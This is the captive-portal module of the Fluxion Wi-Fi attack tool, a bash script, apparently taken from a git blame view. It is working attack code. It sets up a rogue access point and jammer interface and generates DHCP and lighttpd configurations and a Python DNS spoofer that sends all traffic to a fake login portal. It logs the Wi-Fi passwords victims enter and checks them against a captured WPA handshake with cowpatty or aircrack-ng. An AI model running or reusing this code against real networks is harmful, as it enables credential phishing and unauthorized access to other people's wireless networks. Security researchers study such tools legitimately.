2018-08-03 12:48:31 -06:00
#!/usr/bin/env bash
# ============================================================ #
# =============== < Captive Portal Parameters > ============== #
# ============================================================ #
CaptivePortalState = "Not Ready"
CaptivePortalPassLog = " $FLUXIONPath /attacks/Captive Portal/pwdlog "
CaptivePortalNetLog = " $FLUXIONPath /attacks/Captive Portal/netlog "
CaptivePortalAuthenticationMethods = ( "hash" ) # "wpa_supplicant")
CaptivePortalAuthenticationMethodsInfo = (
" (handshake file, ${ CGrn } recommended $CClr ) "
) # "(Target AP authentication, slow)")
# ============= < Virtual Network Configuration > ============ #
# To avoid collapsing with an already existing network,
# we'll use a somewhat uncommon network and server IP.
CaptivePortalGatewayAddress = "192.168.254.1"
CaptivePortalGatewayNetwork = ${ CaptivePortalGatewayAddress %.* }
# ============================================================ #
# ============== < Captive Portal Subroutines > ============== #
# ============================================================ #
captive_portal_unset_jammer_interface( ) {
CaptivePortalJammerInterfaceOriginal = ""
if [ ! " $CaptivePortalJammerInterface " ] ; then return 1; fi
CaptivePortalJammerInterface = ""
# Check if we're automatically selecting the interface & skip
# this one if so to take the user back properly.
local interfacesAvailable
readarray -t interfacesAvailable < <( attack_targetting_interfaces)
if [ ${# interfacesAvailable [@] } -le 1 ] ; then return 2; fi
}
captive_portal_set_jammer_interface( ) {
if [ " $CaptivePortalJammerInterface " ] ; then return 0; fi
if [ ! " $CaptivePortalJammerInterfaceOriginal " ] ; then
echo "Running get jammer interface." > $FLUXIONOutputDevice
if ! fluxion_get_interface attack_targetting_interfaces \
" $CaptivePortalJammerInterfaceQuery " ; then
echo "Failed to get jammer interface" > $FLUXIONOutputDevice
return 1
fi
CaptivePortalJammerInterfaceOriginal = $FluxionInterfaceSelected
fi
local selectedInterface = $CaptivePortalJammerInterfaceOriginal
if ! fluxion_allocate_interface $selectedInterface ; then
echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice
return 2
fi
echo "Succeeded get jammer interface." > $FLUXIONOutputDevice
CaptivePortalJammerInterface = ${ FluxionInterfaces [ $selectedInterface ] }
}
captive_portal_ap_interfaces( ) {
interface_list_all
local interface
for interface in " ${ InterfaceListAll [@] } " ; do
if [ " $interface " = "lo" ] ; then continue ; fi
echo " $interface "
done
}
captive_portal_unset_ap_interface( ) {
CaptivePortalAccessPointInterfaceOriginal = ""
if [ ! " $CaptivePortalAccessPointInterface " ] ; then return 1; fi
if [ " $CaptivePortalAccessPointInterface " = \
" ${ CaptivePortalJammerInterface } v " ] ; then
if ! iw dev $CaptivePortalAccessPointInterface del \
& > $FLUXIONOutputDevice ; then
fluxion_conditional_bail "Unable to remove virtual interface!"
exit 1
fi
fi
CaptivePortalAccessPointInterface = ""
}
captive_portal_set_ap_interface( ) {
if [ " $CaptivePortalAccessPointInterface " ] ; then return 0; fi
if [ ! " $CaptivePortalAccessPointInterfaceOriginal " ] ; then
echo "Running get ap interface." > $FLUXIONOutputDevice
if ! fluxion_get_interface captive_portal_ap_interfaces \
" $CaptivePortalAccessPointInterfaceQuery " ; then
echo "Failed to get ap interface" > $FLUXIONOutputDevice
return 1
fi
CaptivePortalAccessPointInterfaceOriginal = $FluxionInterfaceSelected
fi
local selectedInterface = $CaptivePortalAccessPointInterfaceOriginal
if ! fluxion_allocate_interface $selectedInterface ; then
echo "Failed to allocate ap interface" > $FLUXIONOutputDevice
return 2
fi
echo "Succeeded get ap interface." > $FLUXIONOutputDevice
CaptivePortalAccessPointInterface = ${ FluxionInterfaces [ $selectedInterface ] }
# If interfaces are the same, we need an independent virtual interface.
if [ " $CaptivePortalAccessPointInterface " = \
" $CaptivePortalJammerInterface " ] ; then
# TODO: Make fluxion's interface services manage virtual interfaces.
# Have fluxion_get_interface return a virutal interface if the primary
# interface is in used by something else (virtual reservation?).
echo "Virtual interface required, attempting." > $FLUXIONOutputDevice
if ! iw dev $CaptivePortalJammerInterface interface \
2019-08-01 00:22:06 -06:00
add ${ CaptivePortalJammerInterface } v type managed \
2018-08-03 12:48:31 -06:00
2> $FLUXIONOutputDevice ; then
echo -e " $FLUXIONVLine $CaptivePortalCannotStartInterfaceError "
sleep 5
return 2
fi
echo "Virtual interface created successfully." > $FLUXIONOutputDevice
CaptivePortalAccessPointInterface = ${ CaptivePortalJammerInterface } v
fi
}
function captive_portal_unset_ap_service( ) {
if [ ! " $CaptivePortalAPService " ] ; then return 1; fi
CaptivePortalAPService = ""
# Since we're auto-selecting when on auto, trigger undo-chain.
if [ " $FLUXIONAuto " ] ; then return 2; fi
if ! interface_is_wireless " $CaptivePortalAccessPointInterface " ; then
return 3;
fi
}
function captive_portal_set_ap_service( ) {
if [ " $CaptivePortalAPService " ] ; then
if ! type -t ap_service_start; then
# AP Service: Load the service's helper routines.
source " $FLUXIONLibPath /ap/ $CaptivePortalAPService .sh "
fi
return 0
fi
if ! interface_is_wireless " $CaptivePortalAccessPointInterface " ; then
return 0
fi
captive_portal_unset_ap_service
if [ " $FLUXIONAuto " ] ; then
CaptivePortalAPService = "hostapd"
else
fluxion_header
echo -e " $FLUXIONVLine $CaptivePortalAPServiceQuery "
echo
fluxion_target_show
local choices = (
" $CaptivePortalAPServiceHostapdOption "
" $CaptivePortalAPServiceAirbaseOption "
" $FLUXIONGeneralBackOption "
)
io_query_choice "" choices[ @]
echo
case " $IOQueryChoice " in
" $CaptivePortalAPServiceHostapdOption " )
CaptivePortalAPService = "hostapd" ; ;
" $CaptivePortalAPServiceAirbaseOption " )
CaptivePortalAPService = "airbase-ng" ; ;
" $FLUXIONGeneralBackOption " )
return 1
; ;
*)
fluxion_conditional_bail "Invalid AP service selected!"
return 1
; ;
esac
fi
# AP Service: Load the service's helper routines.
source " $FLUXIONLibPath /ap/ $CaptivePortalAPService .sh "
}
captive_portal_unset_authenticator( ) {
if [ ! " $CaptivePortalAuthenticatorMode " ] ; then return 0; fi
case " $CaptivePortalAuthenticatorMode " in
"hash" )
echo "Unset hash is done automatically." > $FLUXIONOutputDevice ; ;
esac
CaptivePortalAuthenticatorMode = ""
# If we've only got one option, then the user skipped this section
# by auto-selecting that single option, so we unset the previous
# phase along with this one to properly take the user back.
if [ ${# CaptivePortalAuthenticationMethods [@] } -le 1 ] ; then
return 1 # Trigger undo chain because it was auto-selected.
fi
}
captive_portal_set_authenticator( ) {
if [ " $CaptivePortalAuthenticatorMode " ] ; then
case " $CaptivePortalAuthenticatorMode " in
"hash" )
if [ " $CaptivePortalHashPath " ] ; then
echo "Captive Portal authentication mode is already set, skipping!" \
> $FLUXIONOutputDevice
return 0
fi
; ;
esac
fi
captive_portal_unset_authenticator
# If we've got only one choice, auto-select it for the user.
if [ \
${# CaptivePortalAuthenticationMethods [@] } -eq 1 -o \
${# CaptivePortalAuthenticationMethods [@] } -ge 1 -a \
" $FLUXIONAuto " ] ; then
CaptivePortalAuthenticatorMode = " ${ CaptivePortalAuthenticationMethods [0] } "
echo " Auto-selected auth-method: $CaptivePortalAuthenticatorMode " \
> $FLUXIONOutputDevice
else
fluxion_header
echo -e " $FLUXIONVLine $CaptivePortalVerificationMethodQuery "
echo
fluxion_target_show
local choices = (
" ${ CaptivePortalAuthenticationMethods [@] } "
" $FLUXIONGeneralBackOption "
)
io_query_format_fields "" " \t $CRed [ $CYel %d $CRed ] $CClr %b %b\n " \
choices[ @] CaptivePortalAuthenticationMethodsInfo[ @]
echo
CaptivePortalAuthenticatorMode = " ${ IOQueryFormatFields [0] } "
# If we're going back, reset everything and abort.
if [ [ \
" $CaptivePortalAuthenticatorMode " = = \
" $FLUXIONGeneralBackOption " ] ] ; then
captive_portal_unset_authenticator
return -1
fi
fi
# Process the authentication method selected.
local result = 1 # Assume failure at first.
case " $CaptivePortalAuthenticatorMode " in
"hash" )
# Pass default path if no path is set yet.
if [ ! " $CaptivePortalHashPath " ] ; then
CaptivePortalHashPath = " $FLUXIONPath /attacks/Handshake Snooper/handshakes/ $FluxionTargetSSIDClean - $FluxionTargetMAC .cap "
fi
fluxion_hash_get_path \
" $CaptivePortalHashPath " " $FluxionTargetMAC " " $FluxionTargetSSID "
result = $?
if [ $result -eq 0 ] ; then
CaptivePortalHashPath = " $FluxionHashPath "
fi
; ;
esac
# Assure authentication method processing succeeded, abort otherwise.
2018-08-20 05:44:33 -06:00
if [ $result -ne 0 ] && [ " $FLUXIONDebug " = = "" ] ; then
2018-08-03 12:48:31 -06:00
echo " Auth-mode error code $result ! " > $FLUXIONOutputPath
return 1
fi
}
captive_portal_run_certificate_generator( ) {
xterm -bg "#000000" -fg "#CCCCCC" \
-title "Generating Self-Signed SSL Certificate" -e openssl req \
-subj '/CN=captive.gateway.lan/O=CaptivePortal/OU=Networking/C=US' \
-new -newkey rsa:2048 -days 365 -nodes -x509 \
-keyout " $FLUXIONWorkspacePath /server.pem " \
-out " $FLUXIONWorkspacePath /server.pem "
# Details -> https://www.openssl.org/docs/manmaster/apps/openssl.html
chmod 400 " $FLUXIONWorkspacePath /server.pem "
}
captive_portal_unset_certificate( ) {
if [ ! " $CaptivePortalSSL " ] ; then return 1; fi
# WARNING: The server configuration depends on whether the certificate
# file exists and is positioned in the proper location. The check above
# could unsynchronize with the certificate file if we're not careful!
sandbox_remove_workfile " $FLUXIONWorkspacePath /server.pem "
CaptivePortalSSL = ""
# Since we're auto-selecting when on auto, trigger undo-chain.
if [ " $FLUXIONAuto " ] ; then return 2; fi
}
# Create Self-Signed SSL Certificate
captive_portal_set_certificate( ) {
if [ \
" $CaptivePortalSSL " = "disabled" -o \
" $CaptivePortalSSL " = "enabled" -a \
-f " $FLUXIONWorkspacePath /server.pem " ] ; then
echo " Captive Portal SSL mode already set to $CaptivePortalSSL ! " \
> $FLUXIONOutputDevice
return 0
fi
# TODO: This is temporary solution, refactor this.
if [ " $CaptivePortalSSL " = "enabled" ] ; then
local -r restoring = true
fi
captive_portal_unset_certificate
# Check existance of ssl certificate within fluxion with file size > 0
# If user-supplied (fancy) certificate exists, copy it to fluxspace.
if [ \
-f " $FLUXIONPath /attacks/Captive Portal/certificate/server.pem " -a \
-s " $FLUXIONPath /attacks/Captive Portal/certificate/server.pem " \
] ; then
cp " $FLUXIONPath /attacks/Captive Portal/certificate/server.pem " \
" $FLUXIONWorkspacePath /server.pem "
CaptivePortalSSL = "enabled" # Enabled if sourcing user certificate
echo "Captive Portal certificate was user supplied, skipping query!" \
> $FLUXIONOutputDevice
return 0
fi
# Check if we're restoring and we need to re-create certificate.
if [ " $restoring " ] ; then
if ! captive_portal_run_certificate_generator; then
fluxion_conditional_bail "cert-gen failed!"
return 2
fi
CaptivePortalSSL = "enabled"
return 0
fi
if [ " $FLUXIONAuto " ] ; then
CaptivePortalSSL = "disabled"
else
local choices = (
" $CaptivePortalCertificateSourceGenerateOption "
" $CaptivePortalCertificateSourceRescanOption "
" $CaptivePortalCertificateSourceDisabledOption "
" $FLUXIONGeneralBackOption "
)
io_query_choice " $CaptivePortalCertificateSourceQuery " choices[ @]
echo
case " $IOQueryChoice " in
" $CaptivePortalCertificateSourceGenerateOption " )
# If cert generator fails, gtfo, something broke!
if ! captive_portal_run_certificate_generator; then
fluxion_conditional_bail "cert-gen failed!"
return 2
fi
CaptivePortalSSL = "enabled"
; ;
" $CaptivePortalCertificateSourceRescanOption " )
captive_portal_set_certificate
return $?
; ;
" $CaptivePortalCertificateSourceDisabledOption " )
CaptivePortalSSL = "disabled"
; ;
" $FLUXIONGeneralBackOption " )
return 1
; ;
*)
fluxion_conditional_bail "Unknown cert-gen option!"
return 2
; ;
esac
fi
}
captive_portal_unset_connectivity( ) {
if [ ! " $CaptivePortalConnectivity " ] ; then return 1; fi
CaptivePortalConnectivity = ""
# Since we're auto-selecting when on auto, trigger undo-chain.
if [ " $FLUXIONAuto " ] ; then return 2; fi
}
captive_portal_set_connectivity( ) {
if [ " $CaptivePortalConnectivity " ] ; then return 0; fi
captive_portal_unset_connectivity
if [ " $FLUXIONAuto " ] ; then
CaptivePortalConnectivity = "disconnected"
else
local choices = (
" $CaptivePortalConnectivityDisconnectedOption "
" $CaptivePortalConnectivityEmulatedOption "
" $FLUXIONGeneralBackOption "
)
io_query_choice " $CaptivePortalConnectivityQuery " choices[ @]
case " $IOQueryChoice " in
" $CaptivePortalConnectivityDisconnectedOption " )
CaptivePortalConnectivity = "disconnected" ; ;
" $CaptivePortalConnectivityEmulatedOption " )
CaptivePortalConnectivity = "emulated" ; ;
" $FLUXIONGeneralBackOption " )
return 1
; ;
*)
fluxion_conditional_bail "Unknown connectivity option!"
return 2
; ;
esac
fi
}
captive_portal_unset_user_interface( ) {
if [ -z " $CaptivePortalUserInterface " ] ; then return 1; fi
CaptivePortalUserInterface = ""
}
captive_portal_set_user_interface( ) {
local -r attackPath = " $FLUXIONPath /attacks/Captive Portal "
# Skip setting UI if one is selected and is a custom or a generic portal.
if [ " $CaptivePortalUserInterface " != "" ] && [ \
-d " $attackPath /sites/ $CaptivePortalUserInterface .portal " -o \
-f " $attackPath /generic/languages/ $CaptivePortalUserInterface .lang " ] ; then
return 0
fi
captive_portal_unset_user_interface
local sites = ( )
# Attempt adding generic portals only if the directory exists.
if [ -d " $FLUXIONPath /attacks/Captive Portal/generic/languages " ] ; then
# Normalize the names of the generic portals for presentation.
for site in " $FLUXIONPath /attacks/Captive Portal/generic/languages/ " *.lang; do
sites += ( " ${ CaptivePortalGenericInterfaceOption } _ $( basename " ${ site %.lang } " ) " )
done
fi
# Attempt adding custom portals only if the directory exists.
if [ -d " $FLUXIONPath /attacks/Captive Portal/sites " ] ; then
# Retrieve available portal sites and strip the .portal extension.
for site in " $FLUXIONPath /attacks/Captive Portal/sites/ " *.portal; do
sites += ( " $( basename " ${ site %.portal } " ) " )
done
fi
local sitesIdentifier = ( " ${ sites [@]/_*/ } " " $FLUXIONGeneralBackOption " )
local sitesLanguage = ( " ${ sites [@]/*_/ } " )
format_center_dynamic " $CRed [ $CYel %02d $CRed ] $CClr %-44b $CBlu %10s $CClr "
local queryFieldOptionsFormat = $FormatCenterDynamic
fluxion_header
echo -e " $FLUXIONVLine $CaptivePortalUIQuery "
echo
fluxion_target_show " $FluxionTargetSSID " " $FluxionTargetEncryption " \
" $FluxionTargetChannel " " $FluxionTargetMAC " " $FluxionTargetMaker "
io_query_format_fields "" " $queryFieldOptionsFormat \n " \
sitesIdentifier[ @] sitesLanguage[ @]
echo
local site = " ${ IOQueryFormatFields [0] } "
local siteLanguage = " ${ IOQueryFormatFields [1] } "
local siteIdentifier = " ${ site } _ ${ siteLanguage } "
case " $site " in
" $CaptivePortalGenericInterfaceOption " )
CaptivePortalUserInterface = $siteLanguage
# source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang"
# captive_portal_generic
; ;
" $FLUXIONGeneralBackOption " )
captive_portal_unset_user_interface
return 1
; ;
*)
CaptivePortalUserInterface = $siteIdentifier
; ;
esac
}
captive_portal_get_client_IP( ) {
if [ -f " $CaptivePortalPassLog / $FluxionTargetSSIDClean - $FluxionTargetMAC -IP.log " ] ; then
MatchedClientIP = $(
cat " $CaptivePortalPassLog / $FluxionTargetSSIDClean - $FluxionTargetMAC -IP.log " | \
sed '/^\s*$/d' | tail -n 1 | head -n 1
)
else
MatchedClientIP = "unknown"
fi
echo $MatchedClientIP
}
captive_portal_get_IP_MAC( ) {
if [ -f " $CaptivePortalPassLog / $FluxionTargetSSIDClean - $FluxionTargetMAC -IP.log " ] && \
[ " $( captive_portal_get_client_IP) " != "" ] && \
[ -f " $FLUXIONWorkspacePath /clients.txt " ] ; then
local IP = $( captive_portal_get_client_IP)
local MatchedClientMAC = $(
cat $FLUXIONWorkspacePath /clients.txt | \
grep $IP | awk '{print $5}' | grep : | head -n 1 | \
tr [ :upper:] [ :lower:]
)
if [ " $( echo $MatchedClientMAC | wc -m) " != "18" ] ; then
local MatchedClientMAC = "xx:xx:xx:xx:xx:xx"
fi
else
local MatchedClientMAC = "unknown"
fi
echo $MatchedClientMAC
}
captive_portal_get_MAC_brand( ) {
if [ $( captive_portal_get_IP_MAC) != "" ] ; then
local MACManufacturer = $( macchanger -l | \
grep " $( echo " $( captive_portal_get_IP_MAC) " | cut -d ":" -f -3) " | \
cut -d " " -f 5-)
if echo " $MACManufacturer " | grep -q x; then
local MACManufacturer = "unknown"
fi
else
local MACManufacturer = "unknown"
fi
echo $MACManufacturer
}
captive_portal_unset_attack( ) {
sandbox_remove_workfile \
" $FLUXIONWorkspacePath /captive_portal_authenticator.sh "
sandbox_remove_workfile \
" $FLUXIONWorkspacePath /fluxion_captive_portal_dns.py "
sandbox_remove_workfile " $FLUXIONWorkspacePath /lighttpd.conf "
sandbox_remove_workfile " $FLUXIONWorkspacePath /dhcpd.leases "
sandbox_remove_workfile " $FLUXIONWorkspacePath /captive_portal/check.php "
sandbox_remove_workfile " $FLUXIONWorkspacePath /captive_portal "
# Only reset the AP if one has been defined.
if [ " $CaptivePortalAPService " -a " $( type -t ap_service_reset) " ] ; then
ap_service_reset
fi
}
# Create different settings required for the script
captive_portal_set_attack( ) {
local -r attackPath = " $FLUXIONPath /attacks/Captive Portal "
# Load and set the captive portal user interface to the workspace.
# Check whether it's a custom, generic, or invalid portal.
if [ -d " $attackPath /sites/ $CaptivePortalUserInterface .portal " ] ; then
cp -r " $attackPath /sites/ $CaptivePortalUserInterface .portal " \
" $FLUXIONWorkspacePath /captive_portal "
elif [ -f " $attackPath /generic/languages/ $CaptivePortalUserInterface .lang " ] ; then
source " $attackPath /generic/languages/ $CaptivePortalUserInterface .lang "
captive_portal_generic
else
return 1
fi
find " $FLUXIONWorkspacePath /captive_portal/ " -type f -exec \
sed -i -e 's/$APTargetSSID/' " ${ FluxionTargetSSID // \/ / \\ \/ } " '/g; s/$APTargetMAC/' " ${ FluxionTargetMAC // \/ / \\ \/ } " '/g; s/$APTargetChannel/' " ${ FluxionTargetChannel // \/ / \\ \/ } " '/g' { } \;
# Add the PHP authenticator scripts, used to verify
# password attempts from users using the web interface.
local authenticatorFiles = ( "authenticator.php" "check.php" "update.php" )
for authenticatorFile in " ${ authenticatorFiles [@] } " ; do
cp " $FLUXIONPath /attacks/Captive Portal/lib/ $authenticatorFile " \
" $FLUXIONWorkspacePath /captive_portal/ $authenticatorFile "
sed -i -e 's/\$FLUXIONWorkspacePath/' " ${ FLUXIONWorkspacePath // \/ / \\ \/ } " '/g' \
" $FLUXIONWorkspacePath /captive_portal/ $authenticatorFile "
chmod u+x " $FLUXIONWorkspacePath /captive_portal/ $authenticatorFile "
done
# Add the files for captive portal internet connectivity checks.
cp -r " $FLUXIONPath /attacks/Captive Portal/lib/connectivity responses/ " \
" $FLUXIONWorkspacePath /captive_portal/connectivity_responses "
# AP Service: Prepare service for an attack.
if [ " $CaptivePortalAPService " ] ; then
ap_service_prep \
" $CaptivePortalAccessPointInterface " \
" $CaptivePortalGatewayAddress " \
" $FluxionTargetSSID " \
" $FluxionTargetRogueMAC " \
" $FluxionTargetChannel "
CaptivePortalAccessInterface = $APServiceAccessInterface
fi
# Generate the dhcpd configuration file, which is
# used to provide DHCP service to rogue AP clients.
echo " \
authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet $CaptivePortalGatewayNetwork .0 netmask 255.255.255.0 {
2018-08-20 05:44:33 -06:00
option broadcast-address $CaptivePortalGatewayNetwork .255;
option routers $CaptivePortalGatewayAddress ;
option subnet-mask 255.255.255.0;
option domain-name-servers $CaptivePortalGatewayAddress ;
2018-08-03 12:48:31 -06:00
2018-08-20 05:44:33 -06:00
range $CaptivePortalGatewayNetwork .100 $CaptivePortalGatewayNetwork .254;
2018-08-03 12:48:31 -06:00
} \
" >" $FLUXIONWorkspacePath /dhcpd.conf"
#create an empty leases file
touch " $FLUXIONWorkspacePath /dhcpd.leases "
# Generate configuration for a lighttpd web-server.
echo " \
server.document-root = \" $FLUXIONWorkspacePath /captive_portal/\"
server.modules = (
2018-08-20 05:44:33 -06:00
\" mod_access\" ,
\" mod_alias\" ,
\" mod_accesslog\" ,
\" mod_fastcgi\" ,
\" mod_redirect\" ,
\" mod_rewrite\"
2018-08-03 12:48:31 -06:00
)
accesslog.filename = \" $FLUXIONWorkspacePath /lighttpd.log\"
fastcgi.server = (
2018-08-20 05:44:33 -06:00
\" .php\" = > (
(
\" bin-path\" = > \" /usr/bin/php-cgi\" ,
\" socket\" = > \" /tmp/fluxspace/php.socket\"
)
)
2018-08-03 12:48:31 -06:00
)
server.port = 80
server.pid-file = \" /var/run/lighttpd.pid\"
# server.username = \"www\"
# server.groupname = \"www\"
mimetype.assign = (
2018-08-20 05:44:33 -06:00
\" .html\" = > \" text/html\" ,
\" .htm\" = > \" text/html\" ,
\" .txt\" = > \" text/plain\" ,
\" .jpg\" = > \" image/jpeg\" ,
\" .png\" = > \" image/png\" ,
\" .css\" = > \" text/css\"
2018-08-03 12:48:31 -06:00
)
server.error-handler-404 = \" /\"
static-file.exclude-extensions = (
2018-08-20 05:44:33 -06:00
\" .fcgi\" ,
\" .php\" ,
\" .rb\" ,
\" ~\" ,
\" .inc\"
2018-08-03 12:48:31 -06:00
)
index-file.names = (
2019-08-31 21:40:58 -06:00
\" redirect.html\"
2018-08-03 12:48:31 -06:00
)
" >" $FLUXIONWorkspacePath /lighttpd.conf"
# Configure lighttpd's SSL only if we've got a certificate and its key.
if [ -f " $FLUXIONWorkspacePath /server.pem " -a -s " $FLUXIONWorkspacePath /server.pem " ] ; then
echo " \
\$ SERVER[ \" socket\" ] = = \" :443\" {
2018-08-20 05:44:33 -06:00
ssl.engine = \" enable\"
ssl.pemfile = \" $FLUXIONWorkspacePath /server.pem\"
2018-08-03 12:48:31 -06:00
}
" >>" $FLUXIONWorkspacePath /lighttpd.conf"
fi
if [ " $CaptivePortalConnectivity " = "emulated" ] ; then
echo " \
# The following will emulate Apple's and Google's internet connectivity checks.
# This should help with no-internet-connection warnings in some devices.
\$ HTTP[ \" host\" ] = = \" captive.apple.com\" { # Respond with Apple's captive response.
2018-08-20 05:44:33 -06:00
server.document-root = \" $FLUXIONWorkspacePath /captive_portal/connectivity_responses/Apple/\"
2018-08-03 12:48:31 -06:00
}
# Respond with Google's captive response on certain domains.
# Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com
2019-08-04 20:50:32 -06:00
\$ HTTP[ \" host\" ] = ~ \" asdf\" {
2018-08-20 05:44:33 -06:00
server.document-root = \" $FLUXIONWorkspacePath /captive_portal/connectivity_responses/Google/\"
url.rewrite-once = ( \" ^/generate_204\$ \" = > \" generate_204.php\" )
2018-08-03 12:48:31 -06:00
}
" >>" $FLUXIONWorkspacePath /lighttpd.conf"
else
echo " \
# Redirect all traffic to the captive portal when not emulating a connection.
2019-08-31 21:40:58 -06:00
\$ HTTP[ \" host\" ] != \" redirect.html\" {
url.redirect-code = 200
2018-08-20 05:44:33 -06:00
url.redirect = (
2019-08-31 21:40:58 -06:00
\" ^/( .*) \" = > \" http://redirect.html/\" ,
2018-08-20 05:44:33 -06:00
)
2018-08-03 12:48:31 -06:00
}
" >>" $FLUXIONWorkspacePath /lighttpd.conf"
fi
# Create a DNS service with python, forwarding all traffic to gateway.
echo " \
import sys, traceback, socket
# NOTICE: This DNS server works with python 2 and python 3
class DNSQuery:
def __init__( self, data) :
self.data = data
self.domain = ''
queryType = ( ord( data[ 2] ) >> 3) & 15
# Only handle basic requests.
if queryType != 0:
print( 'Ignoring Query: Non-spoofed type.' )
return
domainStart = 13 # Skip length byte and start at domain.
domainLength = ord( data[ domainStart - 1] ) # Evaluate length byte.
while domainLength != 0:
self.domain += data[ domainStart : domainStart + domainLength] + '.'
domainStart += domainLength + 1 # Skip the length byte & start at domain.
domainLength = ord( data[ domainStart - 1] ) # Evaluate length byte.
def response( self, ipv4) :
if not self.domain: return ''
packet = ''
packet += self.data[ :2] + '\x81\x80'
packet += self.data[ 4:6] + self.data[ 4:6] + '\x00\x00\x00\x00'
packet += self.data[ 12:]
packet += '\xc0\x0c'
packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
# Convert string IPv4 quads to binary values (bytes).
packet += str.join( '' , map( lambda s: chr( int( s) ) , ipv4.split( '.' ) ) )
return packet
if __name__ = = '__main__' :
targetIPv4 = '$CaptivePortalGatewayAddress'
print( 'Mini DNS Spoofer:: dom.query. 60 IN A %s' % targetIPv4)
link = socket.socket( socket.AF_INET, socket.SOCK_DGRAM)
link.bind( ( '' ,53) )
try:
while True:
clientData, clientIPv4 = link.recvfrom( 1024)
queryData = clientData if sys.version_info < ( 3, 0) else clientData.decode( 'unicode_escape' )
query = DNSQuery( queryData)
response = query.response( targetIPv4)
if sys.version_info > ( 3, 0) :
# Someone that knows more about python and how it does byte-handling,
# please fix the following shitfest and make it a bit more elegant.
# Do what? A raw conversion of the \"response\" string to bytes.
responseHex = ''
for xx in response:
responseHex += \" %x%x\" % ( ( ord( xx) >> 4) & 0b1111, ord( xx) & 0b1111)
response = bytearray.fromhex( responseHex)
link.sendto( response, clientIPv4)
print( 'Request: %s -> %s' % ( query.domain, targetIPv4) )
except KeyboardInterrupt:
print( 'INTERRUPT: Stopping.' )
link.close( )
except Exception as error:
print( 'EXCEPTION: Stopping!' )
print( error)
print( traceback.format_exc( ) )
link.close( )
" >" $FLUXIONWorkspacePath /fluxion_captive_portal_dns.py"
chmod +x " $FLUXIONWorkspacePath /fluxion_captive_portal_dns.py "
local -r targetSSIDCleanNormalized = ${ FluxionTargetSSIDClean // "/\\" }
# Attack arbiter script
echo " \
#!/usr/bin/env bash
signal_stop_attack( ) {
2018-08-20 05:44:33 -06:00
kill -s SIGABRT $$ # Signal STOP ATTACK
handle_abort_authenticator
2018-08-03 12:48:31 -06:00
}
handle_abort_authenticator( ) {
2018-08-20 05:44:33 -06:00
AuthenticatorState = \" aborted\"
2018-08-03 12:48:31 -06:00
}
trap signal_stop_attack SIGINT SIGHUP
trap handle_abort_authenticator SIGABRT
echo > \" $FLUXIONWorkspacePath /candidate.txt\"
echo -n \" 0\" > \" $FLUXIONWorkspacePath /hit.txt\"
# Assure we've got a directory to store net logs into.
if [ ! -d \" $CaptivePortalNetLog \" ] ; then
2018-08-20 05:44:33 -06:00
mkdir -p \" $CaptivePortalNetLog \"
2018-08-03 12:48:31 -06:00
fi
# Assure we've got a directory to store pwd logs into.
if [ ! -d \" $CaptivePortalPassLog \" ] ; then
2018-08-20 05:44:33 -06:00
mkdir -p \" $CaptivePortalPassLog \"
2018-08-03 12:48:31 -06:00
fi
# Make console cursor invisible, cnorm to revert.
tput civis
clear
m = 0
h = 0
s = 0
i = 0
AuthenticatorState = \" running\"
startTime = \$ ( date +%s)
while [ \$ AuthenticatorState = \" running\" ] ; do
2018-08-20 05:44:33 -06:00
let s = \$ ( date +%s) -\$ startTime
d = \` expr \$ s / 86400\`
s = \` expr \$ s % 86400\`
h = \` expr \$ s / 3600\`
s = \` expr \$ s % 3600\`
m = \` expr \$ s / 60\`
s = \` expr \$ s % 60\`
if [ \" \$ s\" -le 9 ] ; then
is = \" 0\"
else
is =
fi
if [ \" \$ m\" -le 9 ] ; then
im = \" 0\"
else
im =
fi
if [ \" \$ h\" -le 9 ] ; then
ih = \" 0\"
else
ih =
fi
if [ -f \" $FLUXIONWorkspacePath /pwdattempt.txt\" -a -s \" $FLUXIONWorkspacePath /pwdattempt.txt\" ] ; then
# Save any new password attempt.
cat \" $FLUXIONWorkspacePath /pwdattempt.txt\" >> \" $CaptivePortalPassLog /$targetSSIDCleanNormalized -$FluxionTargetMAC .log\"
# Clear logged password attempt.
echo -n > \" $FLUXIONWorkspacePath /pwdattempt.txt\"
fi
if [ -f \" $FLUXIONWorkspacePath /ip_hits\" -a -s \" $FLUXIONWorkspacePath /ip_hits.txt\" ] ; then
cat \" $FLUXIONWorkspacePath /ip_hits\" >> \" $CaptivePortalPassLog /$targetSSIDCleanNormalized -$FluxionTargetMAC -IP.log\"
echo \" \" >> \" $CaptivePortalPassLog /$targetSSIDCleanNormalized -$FluxionTargetMAC -IP.log\"
echo -n > \" $FLUXIONWorkspacePath /ip_hits\"
fi
2018-08-03 12:48:31 -06:00
" >>" $FLUXIONWorkspacePath /captive_portal_authenticator.sh"
if [ $CaptivePortalAuthenticatorMode = "hash" ] ; then
2019-05-26 20:39:18 -06:00
# 05/26/19: Default to cowpatty for verification since aircrack-ng appears to have a bug.
if which cowpatty & > /dev/null; then
echo "
if [ -f \" $FLUXIONWorkspacePath /candidate_result.txt\" ] ; then
if cowpatty -f \" $FLUXIONWorkspacePath /candidate.txt\" -r \" $CaptivePortalHashPath \" -s \" $FluxionTargetSSID \" & > /dev/null; then
echo \" 2\" > \" $FLUXIONWorkspacePath /candidate_result.txt\"
2018-08-03 12:48:31 -06:00
2019-05-26 20:39:18 -06:00
sleep 1
break
2018-08-03 12:48:31 -06:00
2019-05-26 20:39:18 -06:00
else
echo \" 1\" > \" $FLUXIONWorkspacePath /candidate_result.txt\"
2018-08-03 12:48:31 -06:00
2019-05-26 20:39:18 -06:00
fi
fi " >> " $FLUXIONWorkspacePath /captive_portal_authenticator.sh"
else
echo "
if [ -f \" $FLUXIONWorkspacePath /candidate_result.txt\" ] ; then
# Check if we've got the correct password by looking for anything other than \"Passphrase not in\" or \"KEY NOT FOUND\".
if ! aircrack-ng -b $FluxionTargetMAC -w \" $FLUXIONWorkspacePath /candidate.txt\" \" $CaptivePortalHashPath \" | egrep -qi \" Passphrase not in| KEY NOT FOUND\" ; then
echo \" 2\" > \" $FLUXIONWorkspacePath /candidate_result.txt\"
sleep 1
break
else
echo \" 1\" > \" $FLUXIONWorkspacePath /candidate_result.txt\"
fi
fi " >> " $FLUXIONWorkspacePath /captive_portal_authenticator.sh"
fi
